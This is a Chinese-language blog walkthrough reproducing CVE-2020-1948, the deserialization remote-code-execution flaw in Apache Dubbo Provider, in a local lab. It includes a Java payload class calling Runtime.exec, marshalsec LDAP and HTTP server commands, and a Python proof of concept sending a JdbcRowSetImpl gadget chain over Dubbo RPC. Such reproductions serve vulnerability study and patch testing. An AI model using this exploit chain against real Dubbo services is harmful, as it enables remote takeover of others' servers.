Apache Dubbo Provider 反序列化漏洞 CVE-2020-1948
Apache Dubbo Provider 存在反序列化漏洞,攻击者可以通过 RPC 请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。
影响版本
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (官方不再维护)
环境搭建
复现环境:
- MAC
- Dubbo 2.5.9
- JDK 8U20
环境下载地址: https://gist.github.com/OneSourceCat/01277dceba635eefbc010af36d3704d7
1、将下载的环境导入到 IDEA
中:
2、mac 下安装 zookeeper
:
brew install zookeeper
brew services start zookeeper
3、修改 Provider.java
文件,指定 Spring 加载配置文件的方式: ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("file:/Volumes/MacOS/WorkSpace/JAVA/ dubbo-poc/DubboModules/src/resources/provider.xml") ;
4、修改 Consumer.java
文件,指定 Spring 加载配置文件的方式: ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("file:/Volumes/MacOS/WorkSpace/JAVA/ dubbo-poc/dubboconsumer/resources/consumer.xml") ;
5、运行 Provider.java
:
6、编译 ExportObject.java
public class ExportObject {
public ExportObject() throws Exception {
try {
java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
ExportObject e = new ExportObject();
}
}
javac ExportObject.java
注意
:此处要用相同版本或低版本的 JDK 进行编译,否则反序列化失败。
7、启动 LDAP
服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#ExportObject" 8087
8、启动 HTTP 服务:
python3 -m http.server
9、运行 consumer.java
,反序列化:
发现可以成功弹出计算器。
使用 poc
进行测试: 使用前先 pip install dubbo
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 20881)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论